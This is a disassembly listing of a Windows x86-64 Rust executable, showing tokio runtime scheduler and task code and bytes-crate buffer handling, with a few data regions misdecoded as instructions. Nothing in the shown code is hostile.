call fcn.1401076d0
jmp 0x1400f1b98
add r13, 0xc0
mov rcx, r13
call fcn.140107330
cmp byte [rsi + 0x4b], 0
jne 0x1400f1bc0
jmp 0x1400f1bbc
lea rcx, [r13 + 0xc0]
call fcn.1401076d0
jmp 0x1400f1f21
add r13, 0xc0
mov rcx, r13
mov rdi, rdx
call fcn.140107330
mov rdx, rdi
jmp 0x1400f207f
lea rcx, [r13 + 0xc0]
call fcn.1401076d0
jmp 0x1400f241a
add r13, 0xc0
mov rcx, r13
call fcn.140107330
test rbp, rbp
jne 0x1400f2486
jmp 0x1400f24a9
mov ecx, eax
add eax, r15d
dec eax
movzx edx, al
mov r8, qword [r13 + 0x10]
mov rbp, qword [r8 + rdx*8]
dec ecx
je 0x1400f2486
mov dword [r13 + 0x20], eax
jmp 0x1400f2486
lea rcx, [r13 + 0xc0]
call fcn.1401076d0
test dil, dil
jne 0x1400f2581
lock sub qword [r13 + 0xb0], 0x10000
xor edi, edi
mov rax, qword [r13 + 0xd8]
cmp rax, qword [r13 + 0xc8]
jne 0x1400f26a0
lea rcx, [r13 + 0xc8]
call fcn.1400cf300
mov rax, qword [r13 + 0xd8]
mov rcx, qword [r13 + 0xd0]
mov qword [rcx + rax*8], r14
inc rax
mov qword [r13 + 0xd8], rax
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f292e
mov byte [rsi + 0x49], 0
test dil, dil
je 0x1400f2715
mov rax, qword [rbx + 0x10]
lea rcx, [rax + 0x10]
mov rdx, qword [rax + 0x58]
mov r8, qword [rax + 0x60]
shl r8, 4
xor r9d, r9d
cmp r8, r9
je 0x1400f2704
mov r10, qword [rdx + r9]
mov r11, qword [r10 + 0x18]
mov r10d, dword [r10 + 0x20]
add r9, 0x10
cmp r10d, r11d
je 0x1400f26e8
jmp 0x1400f2710
mov rax, qword [rax + 0xa8]
test rax, rax
je 0x1400f2715
call fcn.1400ec1a0
cmp byte [rsi + 0x4a], 0
jne 0x1400f2500
cmp byte [rsi + 0x4b], 0
jne 0x1400f2500
mov rcx, r12
mov rdx, rsi
mov r8d, 0x3b9aca00
call fcn.1400eb980
mov rsi, rax
mov rax, qword [rsp + 0x48]
mov r13, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rdx, qword [r13 + 0xa0]
cmp rdx, rcx
jbe 0x1400f2b2d
cmp byte [rsi + 0x4a], 0
jne 0x1400f2791
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f284a
movzx eax, byte [r13 + 0xf0]
mov byte [rsi + 0x4a], al
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f285b
cmp byte [rsi + 0x4b], 0
jne 0x1400f279b
mov byte [rsi + 0x4b], 0
mov rax, qword [rsp + 0x48]
cmp qword [rsi], 0
jne 0x1400f2879
mov rcx, qword [rsi + 0x18]
mov rdx, qword [rcx + 0x18]
mov ecx, dword [rcx + 0x20]
cmp ecx, edx
jne 0x1400f2879
mov r13, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f281f
mov rax, qword [r13 + 0xd0]
mov rdi, qword [r13 + 0xd8]
shl rdi, 3
xor ecx, ecx
nop dword [rax + rax]
mov r14, rcx
cmp rdi, rcx
je 0x1400f2802
lea rcx, [r14 + 8]
cmp qword [rax + r14], rbx
jne 0x1400f27f0
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f282d
cmp rdi, r14
jne 0x1400f2715
jmp 0x1400f2922
lea rcx, [r13 + 0xc0]
call fcn.1401076d0
jmp 0x1400f27d4
add r13, 0xc0
mov rcx, r13
call fcn.140107330
cmp rdi, r14
jne 0x1400f2715
jmp 0x1400f2922
lea rcx, [r13 + 0xc0]
call fcn.1401076d0
jmp 0x1400f2773
add r13, 0xc0
mov rcx, r13
call fcn.140107330
cmp byte [rsi + 0x4b], 0
jne 0x1400f279b
jmp 0x1400f2797
mov r13, qword [rax + 0x10]
mov rdi, qword [rax + 0x18]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc0], cl
jne 0x1400f294f
mov rax, qword [r13 + 0xd8]
mov rdx, rax
neg rdx
mov r8, 0xffffffffffffffff
lea rcx, [rdx + r8]
cmp rcx, 0xffffffffffffffff
je 0x1400f28f7
mov r9, qword [r13 + 0xd0]
lea r10, [r8 + 1]
cmp qword [r9 + r8*8 + 8], rdi
mov r8, r10
jne 0x1400f28a8
mov rdx, qword [r9 + rax*8 - 8]
dec rax
mov qword [r9 + r10*8], rdx
mov qword [r13 + 0xd8], rax
lock add qword [r13 + 0xb0], 0x10000
xor edi, edi
mov al, 1
lock cmpxchg byte [r13 + 0xc0], dil
je 0x1400f2925
jmp 0x1400f2909
mov dil, 1
mov al, 1
xor edx, edx
lock cmpxchg byte [r13 + 0xc0], dl
je 0x1400f2925
cmp rcx, 0xffffffffffffffff
sete dil
add r13, 0xc0
mov rcx, r13
call fcn.140107330
jmp 0x1400f2925
mov dil, 1
mov byte [rsi + 0x49], dil
jmp 0x1400f2500
add r13, 0xc0
mov rcx, r13
call fcn.140107330
mov byte [rsi + 0x49], 0
test dil, dil
je 0x1400f2715
jmp 0x1400f26d1
lea rcx, [r13 + 0xc0]
call fcn.1401076d0
jmp 0x1400f2894
mov rax, qword [rsp + 0x100]
lock dec qword [rax]
jne 0x1400f2976
mov rcx, rbx
call fcn.1400e4710
cmp qword [rsp + 0xe8], 0
je 0x1400f29a1
mov rax, qword [rsp + 0xf0]
lock dec qword [rax]
mov rbx, qword [rsp + 0xe0]
jne 0x1400f29bf
mov rcx, rdi
call fcn.1400e47d0
jmp 0x1400f29bf
mov rax, qword [rsp + 0xf0]
lock dec qword [rax]
mov rbx, qword [rsp + 0xe0]
jne 0x1400f29bf
mov rcx, rdi
call fcn.1400e4710
lea rdi, [rbx + 0x20]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400f2a13
test eax, eax
jne 0x1400f2a2e
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
mov eax, dword [0x14017d2b4]
add eax, 0x8a89b
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm8
mov qword [rsp + 0x40], 4
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400f3160
xorpd xmm0, xmm0
movapd xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], rdi
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400f3160
mov rcx, rbx
movaps xmm6, xmmword [rsp + 0x150]
movaps xmm7, xmmword [rsp + 0x160]
movaps xmm8, xmmword [rsp + 0x170]
movaps xmm9, xmmword [rsp + 0x180]
movaps xmm10, xmmword [rsp + 0x190]
movaps xmm11, xmmword [rsp + 0x1a0]
movaps xmm12, xmmword [rsp + 0x1b0]
movaps xmm13, xmmword [rsp + 0x1c0]
add rsp, 0x1d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x1400f3300
lea rcx, [rbx + 0xf8]
call fcn.1401076d0
mov rax, qword [rbx + 0x110]
cmp rax, qword [rbx + 0x100]
je 0x1400f150c
jmp 0x1400f151f
add rbx, 0xf8
mov rcx, rbx
call fcn.140107330
jmp 0x1400f1853
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, rdx
mov rdx, rax
call fcn.140104670
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140104bf0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140104bf0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140104670
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1401048a0
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
mov qword [rsp + 0xa8], 0
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x3c]
lea rdx, [rsp + 0x38]
lea r8, [rsp + 0xa8]
call fcn.14010d620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
mov qword [rsp + 0xa8], 0
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x88]
lea r8, [rsp + 0xa8]
call fcn.14010d620
mov qword [rsp + 0xa8], 0
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x88]
lea r8, [rsp + 0xa8]
call fcn.14010d620
lea rcx, str.park_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
mov edx, 0xc
call fcn.140104a60
ud2
lea rcx, str._internal_exception__blocking_task_ran_twice.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_blocking_task.rs
lea r8, [0x14014b228]
mov edx, 0x2d
call fcn.140104a60
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0x40]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401048f0
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0x40]
call fcn.140104620
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
lea r8, [0x1401494a0]
mov edx, 0x2e
call fcn.1401046f0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.140104950
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x88], rax
lea rax, [0x140013ba0]
mov qword [rsp + 0x90], rax
lea rax, str.actual_
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
mov qword [rsp + 0xc8], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0xa8]
call fcn.140104620
mov rcx, rsi
call fcn.1400e49c0
lea rax, [0x140148ad8]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadlocal.rs
lea r9, [0x1401486c8]
lea r8, [rsp + 0x30]
mov edx, 0x46
call fcn.1401049b0
call fcn.14010e030
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x28]
lea rdx, [rax - 2]
cmp rdx, 3
mov ecx, 1
cmovb rcx, rdx
cmp rcx, 1
je 0x1400f30f4
test rcx, rcx
jne 0x1400f312f
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x1400f312f
lock dec qword [rax]
jne 0x1400f312f
lea rcx, [rsi + 0x30]
call fcn.1400eb520
jmp 0x1400f312f
test rax, rax
je 0x1400f312f
mov rdi, qword [rsi + 0x30]
test rdi, rdi
je 0x1400f312f
mov rbx, qword [rsi + 0x38]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400f312f
cmp qword [rbx + 0x10], 0x11
jb 0x1400f311d
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x1400f313f
mov rcx, qword [rsi + 0x60]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rsi
sub rsp, 0x80
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x1400f3310
test al, 1
je 0x1400f339b
test al, 2
jne 0x1400f33b3
test al, 8
jne 0x1400f3347
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x28], 4
lea rdx, [rsp + 0x28]
call fcn.1400f3160
jmp 0x1400f335f
test al, 0x10
je 0x1400f335f
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x1400f3437
mov rcx, qword [rsi + 0x60]
call qword [rax + 0x10]
mov qword [rsp + 0x20], 1
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400f33cb
jne 0x1400f3391
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x1400f30b0
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ab80]
mov edx, 0x23
call fcn.1401046f0
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014abc0]
mov edx, 0x25
call fcn.1401046f0
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rdx, [0x14014ac08]
lea rcx, [rsp + 0x28]
call fcn.140104620
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x28]
call fcn.140104620
int3
inc dword [rbx - 0x7af0fe07]
pop rsi
add dword [rax], eax
add byte [rax - 0x75], cl
jle 0x1400f451c
mov rcx, qword [rsi + 0x28]
mov qword [rsi + 0x20], r12
mov qword [rsi + 0x28], rdx
mov qword [rsp + 0x20], r13
mov rax, qword [rbx + 0x10]
cmp rax, r13
je 0x1400f46ba
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x10], 0
test rax, rax
je 0x1400f452e
sbb byte [rax - 0x39], r9b
adc byte [rax], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax + 0x4c], 0x89
sub byte [rcx + rcx*4 + 0x6b], cl
adc byte [rax - 0x7d], cl
jnp 0x1400f454e
mov qword [rax], r13
mov qword [rbx + 0x10], r13
cmp qword [rbx + 0x18], 0
jne 0x1400f453c
add byte [rbp + 3], dh
mov qword [r14], r13
mov byte [rsi + 0x38], 1
xor edx, edx
mov sil, 1
mov al, 1
lock cmpxchg byte [rbx + 8], dl
jne 0x1400f4558
test rdi, rdi
je 0x1400f45c0
call qword [rdi + 0x18]
jmp 0x1400f45c0
mov rbx, rcx
mov rcx, rbp
call fcn.140107330
mov rcx, rbx
test rdi, rdi
jne 0x1400f4553
jmp 0x1400f45c0
call qword [rdi + 0x18]
mov byte [rsi + 0x38], 2
xor esi, esi
mov eax, esi
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rbx
test rdi, rdi
jne 0x1400f45b7
jmp 0x1400f45ba
cmp eax, 0x8d4c0005
add eax, 0x56eac
mov edx, 0x28
call fcn.1401046f0
add dword [rax], eax
add dword [rax], eax
mov qword [rsp + 0x30], 0
lea rdx, [0x14014b4d8]
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_sync_notify.rs
lea rcx, [rsp + 0x20]
lea r8, [rsp + 0x30]
call fcn.14010df30
mov qword [rsp + 0x30], 0
lea rdx, [0x140148e20]
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_sync_notify.rs
lea rcx, [rsp + 0x20]
lea r8, [rsp + 0x30]
call fcn.14010df30
mov qword [rsp + 0x30], 0
add rbx, 0x10
lea rdx, [rsp + 0x20]
lea r8, [rsp + 0x30]
mov rcx, rbx
call fcn.14010e130
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_sync_notify.rs
mov edx, 0x28
call fcn.1401046f0
int3
out dx, al
xor dh, byte [rcx]
leave
add eax, dword [rax]
add byte [rax - 9], cl
loope case.0x1400978a6.1097
add esi, eax
mov ecx, 0xfffffffd
add dword [rax], eax
add byte [rax + 0xf], cl
rol dword [rcx + 0xa807bc], 0
add byte [rax], al
retf 0x3b9a
invalid
or byte [rax - 0x75], cl
push rdi
jo 0x1400f50af
cmp edx, ecx
add byte [rax], al
pop rsi
add al, dh
and qword [rsi + 0x58], 0xfffffffffffffffd
invalid
clc
add byte [rax], al
add byte [rax], al
add al, ch
invalid
in al, dx
stosd dword [rdi], eax
invalid
add dl, cl
invalid
add byte [rax], al
add al, ch
test dword [rax], 0x58d4800
cmp dword [rcx], eax
add eax, 0x44894800
and al, 0x28
mov qword [rsp + 0x30], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
lea rcx, [rsp + 0x28]
call fcn.140104620
int3
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
mov rdi, r8
mov r15, rdx
mov rbx, rcx
cmp qword [rdx + 0x38], 0
add byte [rdi], cl
invalid
lodsb al, byte [rsi]
add byte [rax], al
invalid
add byte [rdi], cl
test byte [rax + rax - 0x74b30000], ch
cmp qword [rdi + 8], r8
mov r8, qword [r15 + 0x40]
cmp qword [rdi + 8], r8
jb 0x1400f5460
lea rcx, [rsp + 0x48]
mov rdx, rdi
call fcn.140012500
mov rsi, qword [rsp + 0x48]
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
test rsi, rsi
je 0x1400f5460
mov qword [r15 + 0x38], 0
mov rcx, qword [r15]
mov rax, qword [r15 + 0x18]
test rcx, rcx
je 0x1400f53e2
mov rcx, qword [r15 + 8]
add rax, qword [r15 + 0x20]
cmp rax, rcx
cmovbe rax, rcx
mov rcx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
xor edx, edx
sub rax, rcx
cmovae rdx, rax
sub r8, rcx
cmp rdx, r8
jbe 0x1400f540e
mov rcx, rdi
call fcn.1400126a0
mov qword [rbx + 8], rsi
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rbx + 0x10], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rbx + 0x20], rax
mov qword [rbx], 0
jmp 0x1400f5466
mov rbp, qword [r15 + 0x20]
mov r14, qword [r15 + 0x18]
mov r10, qword [r15]
mov r9, qword [r15 + 8]
test r10, r10
mov rax, r9
cmove rax, r10
lea r11, [r14 + rbp]
cmp r11, rax
cmova rax, r11
mov r12, qword [rdi + 8]
cmp r12, rax
jae 0x1400f547a
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp rbp, r12
ja 0x1400f57cc
cmp byte [r15 + 0x30], 0
je 0x1400f557f
mov qword [rsp + 0x48], 0
mov ecx, 8
sub rcx, r14
jb 0x1400f5814
xor eax, eax
mov rdx, r12
sub rdx, rbp
cmovae rax, rdx
cmp rax, r14
jb 0x1400f57fc
test r14, r14
je 0x1400f5656
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x78], rbx
lea r13, [rsp + rcx]
add r13, 0x48
mov qword [rsp + 0x40], rdi
mov rsi, qword [rdi]
xor edi, edi
lea rbx, [0x14016f768]
nop word cs:[rax + rax]
lea rdx, [rsi + rbp]
mov rax, r12
sub rax, rbp
mov ecx, 0
cmovbe rdx, rbx
cmovae rcx, rax
mov r15, r14
sub r15, rdi
cmp rcx, r15
cmovb r15, rcx
lea rcx, [rdi + r13]
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add rbp, r15
jb 0x1400f57e4
cmp rbp, r12
ja 0x1400f57cc
add rdi, r15
cmp rdi, r14
jb 0x1400f5500
mov r8, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x28]
mov r9, qword [rsp + 0x20]
mov r10, qword [rsp + 0x38]
mov r11, qword [rsp + 0x30]
bswap r8
cmp r8, qword [r15 + 0x10]
ja 0x1400f5662
jmp 0x1400f5672
mov qword [rsp + 0x48], 0
cmp r14, 9
jae 0x1400f5825
xor eax, eax
mov rcx, r12
sub rcx, rbp
cmovae rax, rcx
cmp rax, r14
jb 0x1400f57fc
test r14, r14
je 0x1400f5669
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x40], rdi
mov r13, qword [rdi]
xor esi, esi
lea rdi, [0x14016f768]
nop word cs:[rax + rax]
mov rdx, r13
add rdx, rbp
mov rax, r12
sub rax, rbp
mov ecx, 0
cmovbe rdx, rdi
cmovae rcx, rax
mov r15, r14
sub r15, rsi
cmp rcx, r15
cmovb r15, rcx
lea rcx, [rsp + rsi]
add rcx, 0x48
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add rbp, r15
jb 0x1400f57e4
cmp rbp, r12
ja 0x1400f57cc
add rsi, r15
cmp rsi, r14
jb 0x1400f55e0
mov r8, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x28]
mov r9, qword [rsp + 0x20]
mov r10, qword [rsp + 0x38]
mov r11, qword [rsp + 0x30]
cmp r8, qword [r15 + 0x10]
ja 0x1400f5662
jmp 0x1400f5672
xor r8d, r8d
bswap r8
cmp r8, qword [r15 + 0x10]
jbe 0x1400f5672
call fcn.1400f58d0
jmp 0x1400f5692
xor r8d, r8d
cmp r8, qword [r15 + 0x10]
ja 0x1400f5662
mov rax, qword [r15 + 0x28]
test rax, rax
js 0x1400f5682
add r8, rax
jb 0x1400f568d
jmp 0x1400f56a5
mov rcx, rax
neg rcx
cmp r8, rcx
jae 0x1400f56a2
call fcn.1400f5960
mov qword [rbx + 8], rax
mov qword [rbx], 1
jmp 0x1400f5466
add r8, rax
test r10, r10
cmove r9, r11
mov qword [rsp + 0x80], r9
cmp r12, r9
jb 0x1400f5839
test r9, r9
je 0x1400f56f7
mov r14, qword [rdi + 0x18]
test r14b, 1
je 0x1400f5774
mov rbp, rdi
mov rdi, r14
shr rdi, 5
lea rax, [rdi + r9]
mov rcx, rax
shr rcx, 0x3b
jne 0x1400f5700
shl rax, 5
and r14d, 0x1f
or r14, rax
mov rax, r14
jmp 0x1400f576d
mov rax, qword [rdi + 0x10]
jmp 0x1400f578f
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x28], r15
mov r13, rbx
mov rsi, r8
mov rbx, qword [rbp]
mov r15, qword [rbp + 0x10]
movzx eax, byte [0x14017d2b0]
mov edx, 0x28
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400f58bd
add r15, rdi
lea rcx, [r12 + rdi]
sub rbx, rdi
shr r14d, 2
and r14d, 7
mov qword [rax], r15
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], 1
mov r8, rsi
mov rbx, r13
mov r15, qword [rsp + 0x28]
mov r9, qword [rsp + 0x20]
mov rdi, rbp
mov qword [rbp + 0x18], rax
add qword [rdi], r9
xor eax, eax
sub r12, r9
cmovb r12, rax
mov qword [rdi + 8], r12
mov rax, qword [rdi + 0x10]
sub rax, r9
mov qword [rdi + 0x10], rax
xor edx, edx
mov rcx, r8
sub rcx, r12
cmovae rdx, rcx
sub rax, r12
cmp rdx, rax
jbe 0x1400f57b1
mov rcx, rdi
mov rsi, r8
call fcn.1400126a0
mov r8, rsi
mov qword [r15 + 0x38], 1
mov qword [r15 + 0x40], r8
cmp qword [rdi + 8], r8
jae 0x1400f5395
jmp 0x1400f5460
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
lea r8, [0x14014bd00]
mov edx, 0x36
call fcn.1401046f0
lea rcx, str.overflow
lea r8, [0x14014bd20]
mov edx, 8
call fcn.140104a60
lea rcx, str.assertion_failed:_self.remaining_____dst.len__
lea r8, [0x14014bbc0]
mov edx, 0x2f
call fcn.1401046f0
lea r8, [0x14014bbd8]
mov edx, 8
call fcn.140104660
lea r8, [0x14014bb78]
mov edx, 8
mov rcx, r14
call fcn.1401046e0
mov qword [rsp + 0x88], r12
lea rax, [rsp + 0x80]
mov qword [rsp + 0xa8], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x88]
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x48]
call fcn.140104620
mov ecx, 8
mov edx, 0x28
call fcn.140104380
int3
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x14014ba18]
mov ecx, 1
call fcn.1400dd830
nop
add rsp, 0x20
pop rbp
ret
add byte [rdx + 0x2f], bh
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400f5a16
mov rsi, rax
movups xmm0, xmmword [0x14014bd57]
movups xmmword [rax + 0x1f], xmm0
movups xmm0, xmmword [0x14014bd48]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.provided_length_would_overflow_after_adjustmentLengthDelimitedCodecErrorframe_size_too_big]
movups xmmword [rax], xmm0
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400f5a25
mov rdi, rax
mov qword [rax], 0x2f
mov qword [rax + 8], rsi
mov qword [rax + 0x10], 0x2f
movzx eax, byte [0x14017d2b0]
mov edx, 0x18
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400f5a34
mov qword [rax], rdi
